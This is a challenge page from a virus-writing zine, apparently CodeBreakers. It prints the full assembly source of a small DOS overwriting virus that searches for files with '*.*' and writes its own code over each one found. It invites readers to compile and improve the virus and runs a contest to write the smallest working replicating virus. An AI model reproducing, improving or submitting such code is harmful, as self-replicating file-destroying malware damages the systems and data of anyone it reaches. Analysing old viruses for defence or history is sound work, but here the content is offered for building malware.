Challenge By Horny Toad 1. Beginner's Challenge: Armed with the knowledge that you have from the toad instructional virus, try to find out how this virus (below) differs from the toad virus. Start first with what you already know. Mark off the sections that are familiar and construct a flow chart for what the virus does. Ask yourself, "What type of files does it infect?" How many files will it infect? What is the outcome? What is the main problem with this code and how would you improve it? There are many mistakes in this code. In the next issue of the mag, I will discuss the answers to the quiz and also comment out the problems with the below code. If you choose to compile it, make sure that you keep it confined to an isolated directory. There is no directory transversal or resident routines, so you will not have to worry about it getting loose. Have fun! code segment assume ds:code,cs:code org 100h virus_start equ $ start: mov dx,offset file_type mov ah,4eh infect: int 21h mov ax,3d02h mov dx,9eh int 21h mov bx,ax mov cx,virus_length mov dx,100h mov ah,40h int 21h mov ah,3eh int 21h find_next_file: mov ah,4fh jmp infect file_type db '*.*',0 virus_end equ $ virus_length = virus_end - virus_start ;length of virus code ends end start 2. Intermediate Challenge: Write the smallest assembly virus possible. The only rules are that it replicate and work! Submit your entries to me. Please include source and assembled code, along with the assembler/linker instructions and what version of assembler/linker you are using. You can get in touch with me on the CodeBreakers site. The winner and runner-up will have their code published in the CodeBreakers mag and receive life-long subscriptions to the CodeBreakers mag. Good luck! (By the way, the current record to beat is SPo0ky at 27 bytes! You can download his code at the "Member's Files" section of the Codebreakers site)